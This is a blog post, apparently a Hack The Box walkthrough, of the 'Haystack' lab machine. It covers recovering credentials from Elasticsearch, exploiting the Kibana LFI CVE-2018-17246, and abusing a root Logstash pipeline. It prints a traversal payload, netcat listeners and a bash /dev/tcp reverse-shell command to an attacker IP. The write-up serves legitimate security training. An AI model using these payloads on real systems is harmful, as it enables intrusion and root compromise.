{"id":481,"date":"2019-11-04T18:46:10","date_gmt":"2019-11-04T15:46:10","guid":{"rendered":"https:\/\/macrosec.tech\/?p=481"},"modified":"2020-01-30T00:06:59","modified_gmt":"2020-01-29T21:06:59","slug":"htb-haystack","status":"publish","type":"post","link":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/","title":{"rendered":"Hack The Box – Haystack"},"content":{"rendered":"

A WRITE-UP FOR THE MACHINE HAYSTACK<\/span>
\n<\/strong><\/h2>\n<\/div>
\"Haystack<\/span><\/div><\/div><\/div><\/div>
<\/div><\/div><\/div><\/div><\/div>
<\/div>
<\/div><\/div>
<\/div>

GETTING USER<\/strong><\/span><\/h1>\n<\/div>

First thing we do is a nmap<\/strong> scan against the target [10.10.10.115<\/strong>]<\/p>\n

$ nmap -sC -sV -oA haystack 10.10.10.115<\/strong><\/p>\n<\/div>

<\/div><\/div><\/div><\/div><\/div>

PORT STATE SERVICE VERSION<\/strong>
\n| ssh-hostkey:<\/strong>
\n| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)<\/strong>
\n| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)<\/strong>
\n|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)<\/strong>
\n80\/tcp open http nginx 1.12.2<\/strong>
\n|_http-server-header: nginx\/1.12.2<\/strong>
\n|_http-title: Site doesn’t have a title (text\/html).<\/strong>
\n9200\/tcp open http nginx 1.12.2<\/strong>
\n| http-methods:<\/strong>
\n|_ Potentially risky methods: DELETE<\/strong>
\n|_http-server-header: nginx\/1.12.2<\/strong>
\n|_http-title: Site doesn’t have a title (application\/json; charset=UTF-8).<\/strong><\/p>\n<\/div>

<\/div><\/div><\/div><\/div><\/div>

Scan shows three ports are open.<\/p>\n

Checking port 80 reveals an image of a needle in a haystack. Inspecting the source of the page we get there is a file called \u201cneedle.jpg\u201d.<\/p>\n<\/div>

\"needle<\/span><\/div><\/div>
<\/div>
<\/div>
<\/div>

Download this as it has a hint based on the name of the machine and that it is indicated as a CTF-like machine. Analyze the content of the image by running cat<\/strong>.<\/p>\n<\/div>

<\/div><\/div><\/div><\/div><\/div>

$ cat needle.jpg<\/strong>
\n[\u2026]<\/strong>
\n*’\ufffd\ufffd\ufffd3\u06d4\ufffdVV\ufffdh\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdxo\ufffd\ufffd&\ufffdV\ufffd\ufffd-g?\ufffd\ufffdI$f2\/<-iy \ufffd\ufffdA\ufffdrq\ufffd\ufffd\ufffd\ufffd\u00df\ufffdN\ufffd\ufffd\ufffd\ufffd\ufffd-k\ufffd\ufffd<\/strong>
\n\ufffd9\ufffd\ufffdH\ufffdV\ufffd\ufffd\ufffdzl\ufffd\ufffdb\ufffd=pS\ufffd]\ufffd\u0385\ufffd’\ufffd\ufffd\ufffd\ufffdg\ufffd|+\ufffdgl\ufffd’\ufffdt\ufffdx~\u02f3\ufffd\ufffd6\ufffd\ufffd\ufffd1\ufffd<\/strong>
\nWU(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd\ufffd\ufffd<\/strong>
\nbGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==<\/strong><\/p>\n<\/div>

<\/div><\/div><\/div><\/div><\/div>

The result presents an interesting line towards the end with the following string:<\/p>\n

bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==<\/strong><\/p>\n

Decoding this base64 string reveals the following line:<\/p>\n

la aguja en el pajar es “clave”<\/strong><\/p>\n

which when translated from Spanish results in:<\/p>\n

the needle in the haystack is “key”<\/strong><\/p>\n

Poking further on the target on port 9200 using curl<\/strong>.<\/p>\n

$ curl http:\/\/10.10.10.115:9200<\/strong><\/p>\n<\/div>

<\/span><\/div><\/div>
<\/div>
<\/div>
<\/div>

We can see the target is running elasticsearch version 6.4.2<\/strong><\/p>\n

Researching on elasticsearch<\/strong> leads to the ELK Stack<\/strong> (Elasticsearch, Logstash, Kibana environment). Reading the documentation we came across some useful commands to extract and list all indices.<\/strong><\/p>\n

$ curl GET http:\/\/10.10.10.115:9200\/_cat\/indices?v<\/strong><\/p>\n<\/div>

\"curl<\/span><\/div><\/div>
<\/div>
<\/div>
<\/div>

We find two indexes of potential interest (quotes<\/strong> & bank<\/strong>). Further poking around with curl on the bank<\/strong> index does not yield much interesting information. On the other hand quotes<\/strong> has a lot of Spanish quotes. This is interesting as the base64 result for needle.jpg was in Spanish and highlighted the word \u201ckey\u201d<\/strong> which was \u201cclave\u201d<\/strong>. Querying with curl<\/strong> with the specific search string bears some fruit.<\/p>\n

$ curl GET http:\/\/10.10.10.115:9200\/quotes\/_search?q=clave<\/strong><\/p>\n<\/div>

<\/span><\/div><\/div>
<\/div>
<\/div>
<\/div>

The following two quotes contain the string clave<\/strong><\/p>\n

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg <\/strong><\/p>\n

Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=<\/strong><\/p>\n

Which translate to:<\/p>\n

I have to save the password for the machine: dXNlcjogc2VjdXJpdHkg<\/strong><\/p>\n

This key cannot be lost, I keep it here: cGFzczogc3BhbmlzaC5pcy5rZXk=<\/strong><\/p>\n

Decoding the base64 strings reveal:<\/p>\n<\/div>

\"Base64<\/span><\/div><\/div>
<\/div>
<\/div>
<\/div>

User: security<\/strong><\/p>\n

Pass: spanish.is.key<\/strong><\/p>\n

We can SSH into the target using the above credential and we have user<\/strong> on the box. Locate the user.txt<\/strong> file and get the hash.<\/p>\n<\/div>

\"ssh<\/span><\/div><\/div>
<\/div>
<\/div>
<\/div>
<\/div>
<\/div><\/div>
<\/div>

GETTING ROOT<\/strong><\/span><\/h1>\n<\/div>

With a foothold on the target we need to escalate privilege and get root. Checking the processes running gives direction on what to do.><\/p>\n

[security@haystack ~]$ ps aux<\/strong><\/p>\n

There is a Kibana process running:<\/p>\n<\/div>

<\/div><\/div><\/div><\/div><\/div>

kibana 6287 3.9 4.7 1352188 183648 ? Ssl 10:53 0:25 \/usr\/share\/kibana\/bin\/..\/node\/bin\/node –no-warnings \/usr\/share\/kibana\/bin\/..\/s<\/strong><\/p>\n<\/div>

<\/div><\/div><\/div><\/div><\/div>

Kibana is the user interface which lets you manage the stack. Elasticsearch allows to execute searches, store data and analyze the data. Logstash is a data processing pipeline. It ingests data from different sources, transforms it, and stores it into a \"stash\".<\/p>\n

Looking for any vulnerabilities for elasticsearch<\/strong> and kibana<\/strong> on google leads us to CVE-2018-17246<\/strong><\/p>\n

Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.<\/em><\/p>\n

A LFI vulnerability in Kibana \/api\/console\/api_server module allows to execute a reverse shell on the Kibana server.<\/strong><\/p>\n

This git hub link shows how to exploit the vulnerability discovered: https:\/\/github.com\/mpgn\/CVE-2018-17246<\/a><\/p>\n

LFI can be use to execute a reverse shell on the Kibana server with the following payload: \/api\/console\/api_server?sense_version=@@SENSE_VERSION&apis=..\/..\/..\/..\/..\/..\/\u2026\/..\/..\/..\/path\/to\/shell.js<\/strong><\/p>\n

Create a file called \"sh3ll.js\"<\/strong> as \"security\"<\/strong> user and save the file to a writeable directory, like \/tmp<\/strong>.<\/p>\n

\n

(function())();<\/strong><\/p>\n<\/blockquote>\n

* Set the IP to that of your attacking machine and port of your choice.<\/em><\/p>\n<\/div>

<\/span><\/div><\/div>
<\/div>
<\/div>
<\/div>

This JavaScript code will spawn a reverse shell as soon as the vulnerability gets triggered locally.<\/p>\n

Start a netcat listener on the set port on your attacking machine:<\/p>\n

nc -lvvp 1337<\/strong><\/p>\n

To execute the exploit, query the Kibana instance on port 5601 with curl, make sure to point the path to the shell file in \/tmp<\/p>\n

Note: server.port\u00a0<\/strong> Default: 5601<\/strong> Kibana is served by a back end server.<\/em><\/p>\n

curl -v “http:\/\/localhost:5601\/api\/console\/api_server?apis=..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/tmp\/sh3ll.js”<\/strong><\/p>\n

This gives us a shell connection back to the target as user kibana<\/strong><\/p>\n<\/div>

<\/span><\/div><\/div>
<\/div>
<\/div>
<\/div>

We still need to get root on the target. Checking the processes running now as user kibana we get a Kibana instance (the user interface):<\/p>\n<\/div>

<\/div><\/div><\/div><\/div><\/div>

kibana 6287 1.9 5.2 1351468 204620 ? Rsl 10:53 0:38 \/usr\/share\/kibana\/bin\/..\/node\/bin\/node –no-warnings \/usr\/share\/kibana\/bin\/..\/src\/cli -c \/etc\/kibana\/kibana.yml<\/strong><\/p>\n<\/div>

<\/div><\/div><\/div><\/div><\/div>

As well as a java service running logstash<\/strong> as user root<\/strong>.<\/p>\n<\/div>

<\/div><\/div><\/div><\/div><\/div>

root 6285 8.4 13.2 2731544 511876 ? SNsl 10:53 2:46 \/bin\/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:\/dev\/urandom -cp \/usr\/share\/logstash\/logstash-core\/lib\/jars\/animal-sniffer-annotations-1.14.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/commons-codec-1.11.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/commons-compiler-3.0.8.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/error_prone_annotations-2.0.18.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/google-java-format-1.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/gradle-license-report-0.7.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/guava-22.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/j2objc-annotations-1.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jackson-annotations-2.9.5.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jackson-core-2.9.5.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jackson-databind-2.9.5.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jackson-dataformat-cbor-2.9.5.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/janino-3.0.8.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jruby-complete-9.1.13.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jsr305-1.3.9.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/log4j-api-2.9.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/log4j-core-2.9.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/log4j-slf4j-impl-2.9.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/logstash-core.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.commands-3.6.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.contenttype-3.4.100.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.expressions-3.4.300.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.filesystem-1.3.100.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.jobs-3.5.100.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.resources-3.7.100.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.runtime-3.7.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.equinox.app-1.3.100.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.equinox.common-3.6.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.equinox.preferences-3.4.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.equinox.registry-3.5.101.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.jdt.core-3.10.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.osgi-3.7.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.text-3.5.101.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/slf4j-api-1.7.25.jar org.logstash.Logstash –path.settings \/etc\/logstash<\/strong><\/p>\n<\/div>

<\/div><\/div><\/div><\/div><\/div>

Looking at the end of the process gives path settings for the service:<\/p>\n

–path.settings \/etc\/logstash<\/strong><\/p>\n

Investigating this further we find a folder called conf.d<\/strong> which contains some configuration files. Getting more information on the configurations we can get an idea of what is happening.<\/p>\n<\/div>

<\/span><\/div><\/div>
<\/div>
<\/div>
<\/div>

Of interest is the input.conf<\/strong> file that shows a command is executed every 10seconds from the path \/opt\/kibana\/logstash_*<\/strong><\/p>\n

The exploit leverages the grok filter plugin<\/strong>.<\/p>\n

Set up another netcat instance<\/p>\n

nc -lvvp 5228<\/strong><\/p>\n

We now create a logstash file with the command we want executed, which in our case is to get a shell back on the machine and since the command gets executed as root we should have an elevated shell. To create get the shell create the logstash file with the following input:<\/p>\n

echo “Ejecutar comando : bash -i >& \/dev\/tcp\/10.10.15.48\/5228 0>&1” > \/opt\/kibana\/logstash_1<\/strong><\/p>\n

Wait for the process to get executed and you will have a shell as root<\/strong> on the netcat session on port 5228. Locate the root.txt<\/strong> file and get the root hash.<\/p>\n<\/div>

<\/span><\/div><\/div>
<\/div>
<\/div>
<\/div>
<\/div>
<\/div><\/div>
<\/div>

CONCLUSION<\/strong><\/span><\/h1>\n<\/div>

We\u2019ve looked at the Elastic stack<\/strong> (ELK stack) and how its environment with its components and modules can be used to chain different vulnerabilities to obtain root privileges on the target.<\/p>\n

First, we used Elastic\u2019s elasticsearch<\/strong> module to aquire credentials<\/strong> and the user.txt<\/strong> flag.<\/p>\n

Next, we\u2019ve escalated our priviliges by exploiting a LFI vulnerability<\/strong> in the Kibana<\/strong> module \u2013 to privilege escalation from user \u201csecurity\u201d<\/strong> to \u201ckibana\u201d<\/strong>.<\/p>\n

In the last step, we spawned a shell with the help of grok<\/strong> in the Logstash<\/strong> module to obtain root<\/strong> privileges..<\/p>\n<\/div>

<\/div>
<\/div>
<\/div>

REFERENCE LINKS<\/strong><\/span><\/h1>\n<\/div>

https:\/\/www.elastic.co\/guide\/en\/elasticsearch\/reference\/6.4\/index.html<\/a><\/p>\n

https:\/\/www.elastic.co\/what-is\/elk-stack<\/a><\/p>\n

https:\/\/logz.io\/blog\/elasticsearch-tutorial\/<\/a><\/p>\n

https:\/\/logz.io\/blog\/elk-siem\/<\/a><\/p>\n

https:\/\/www.cvedetails.com\/vulnerability-list\/vendor_id-13554\/product_id-31867\/Elasticsearch-Kibana.html<\/a><\/p>\n

https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2018-17246<\/a><\/p>\n

https:\/\/www.elastic.co\/blog\/kibana-local-file-inclusion-flaw-cve-2018-17246<\/a><\/p>\n

https:\/\/github.com\/mpgn\/CVE-2018-17246<\/a><\/p>\n

https:\/\/www.cyberark.com\/threat-research-blog\/execute-this-i-know-you-have-it\/<\/a><\/p>\n

https:\/\/www.elastic.co\/guide\/en\/logstash\/current\/plugins-filters-grok.html<\/a><\/p>\n<\/div>

<\/div><\/div><\/div><\/div><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":3,"featured_media":483,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"nf_dc_page":"","footnotes":""},"categories":[6,8],"tags":[],"class_list":["post-481","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hack-the-box","category-pentesting"],"yoast_head":"\nHack The Box - Haystack — MacroSEC<\/title>\n<meta name=\"description\" content=\"A writeup of getting both user and root on the machine Haystack from Hack The Box (hackthebox.eu)\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hack The Box - Haystack — MacroSEC\" \/>\n<meta property=\"og:description\" content=\"A writeup of getting both user and root on the machine Haystack from Hack The Box (hackthebox.eu)\" \/>\n<meta property=\"og:url\" content=\"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/\" \/>\n<meta property=\"og:site_name\" content=\"MacroSEC\" \/>\n<meta property=\"article:published_time\" content=\"2019-11-04T15:46:10+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2020-01-29T21:06:59+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png\" \/>\n\t<meta property=\"og:image:width\" content=\"332\" \/>\n\t<meta property=\"og:image:height\" content=\"358\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Amarjit Labhuram\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@amarjit_labu\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Amarjit Labhuram\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"40 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/\"},\"author\":{\"name\":\"Amarjit Labhuram\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/person\\\/d9d95e3245148a5fd3ea964e0775c8a9\"},\"headline\":\"Hack The Box – Haystack\",\"datePublished\":\"2019-11-04T15:46:10+00:00\",\"dateModified\":\"2020-01-29T21:06:59+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/\"},\"wordCount\":8024,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2019\\\/11\\\/Haystack-Blog.png\",\"articleSection\":[\"Hack The Box\",\"Penetration Testing\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/\",\"name\":\"Hack The Box - Haystack — MacroSEC\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2019\\\/11\\\/Haystack-Blog.png\",\"datePublished\":\"2019-11-04T15:46:10+00:00\",\"dateModified\":\"2020-01-29T21:06:59+00:00\",\"description\":\"A writeup of getting both user and root on the machine Haystack from Hack The Box (hackthebox.eu)\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#primaryimage\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2019\\\/11\\\/Haystack-Blog.png\",\"contentUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2019\\\/11\\\/Haystack-Blog.png\",\"width\":332,\"height\":358},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/macrosec.tech\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hack The Box – Haystack\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#website\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/\",\"name\":\"MacroSEC\",\"description\":\"Your Cybersecurity Partner - Kenya\",\"publisher\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/macrosec.tech\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#organization\",\"name\":\"MacroSec Ltd\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2018\\\/04\\\/MobileIcon_Retine.png\",\"contentUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2018\\\/04\\\/MobileIcon_Retine.png\",\"width\":400,\"height\":107,\"caption\":\"MacroSec Ltd\"},\"image\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/person\\\/d9d95e3245148a5fd3ea964e0775c8a9\",\"name\":\"Amarjit Labhuram\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g\",\"caption\":\"Amarjit Labhuram\"},\"description\":\"I am a keen professional geek with a broad range of analytical skills and interests ranging from theoretical physics to practical security architectures. My professional experience is focused on all the common types of penetration testing and some rather less orthodox methods . Extensive exposure to a broad range of businesses, architectures, and technologies backs up the theoretical knowledge I'm able to bring all the way from the keyboard to the boardroom. I'm always looking to learn and develop, but a key part of satisfaction for me is applying skills and knowledge to solve interesting real world problems. I typically do this by constructing a model, validating it, and then reasoning (often mathematically or in code) through the potential solutions finding the one with optimum parameters. For the sake of everybody else I've learned over the years how to convey the jist and the results at the right level to people with diverse backgrounds.\",\"sameAs\":[\"https:\\\/\\\/www.linkedin.com\\\/in\\\/amarjit-labhuram-51699815\\\/\",\"https:\\\/\\\/x.com\\\/amarjit_labu\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Hack The Box - Haystack — MacroSEC","description":"A writeup of getting both user and root on the machine Haystack from Hack The Box (hackthebox.eu)","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/","og_locale":"en_US","og_type":"article","og_title":"Hack The Box - Haystack — MacroSEC","og_description":"A writeup of getting both user and root on the machine Haystack from Hack The Box (hackthebox.eu)","og_url":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/","og_site_name":"MacroSEC","article_published_time":"2019-11-04T15:46:10+00:00","article_modified_time":"2020-01-29T21:06:59+00:00","og_image":[{"width":332,"height":358,"url":"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png","type":"image\/png"}],"author":"Amarjit Labhuram","twitter_card":"summary_large_image","twitter_creator":"@amarjit_labu","twitter_misc":{"Written by":"Amarjit Labhuram","Est. reading time":"40 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#article","isPartOf":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/"},"author":{"name":"Amarjit Labhuram","@id":"https:\/\/macrosec.tech\/#\/schema\/person\/d9d95e3245148a5fd3ea964e0775c8a9"},"headline":"Hack The Box – Haystack","datePublished":"2019-11-04T15:46:10+00:00","dateModified":"2020-01-29T21:06:59+00:00","mainEntityOfPage":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/"},"wordCount":8024,"commentCount":0,"publisher":{"@id":"https:\/\/macrosec.tech\/#organization"},"image":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#primaryimage"},"thumbnailUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png","articleSection":["Hack The Box","Penetration Testing"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/","url":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/","name":"Hack The Box - Haystack — MacroSEC","isPartOf":{"@id":"https:\/\/macrosec.tech\/#website"},"primaryImageOfPage":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#primaryimage"},"image":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#primaryimage"},"thumbnailUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png","datePublished":"2019-11-04T15:46:10+00:00","dateModified":"2020-01-29T21:06:59+00:00","description":"A writeup of getting both user and root on the machine Haystack from Hack The Box (hackthebox.eu)","breadcrumb":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#primaryimage","url":"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png","contentUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png","width":332,"height":358},{"@type":"BreadcrumbList","@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/macrosec.tech\/"},{"@type":"ListItem","position":2,"name":"Hack The Box – 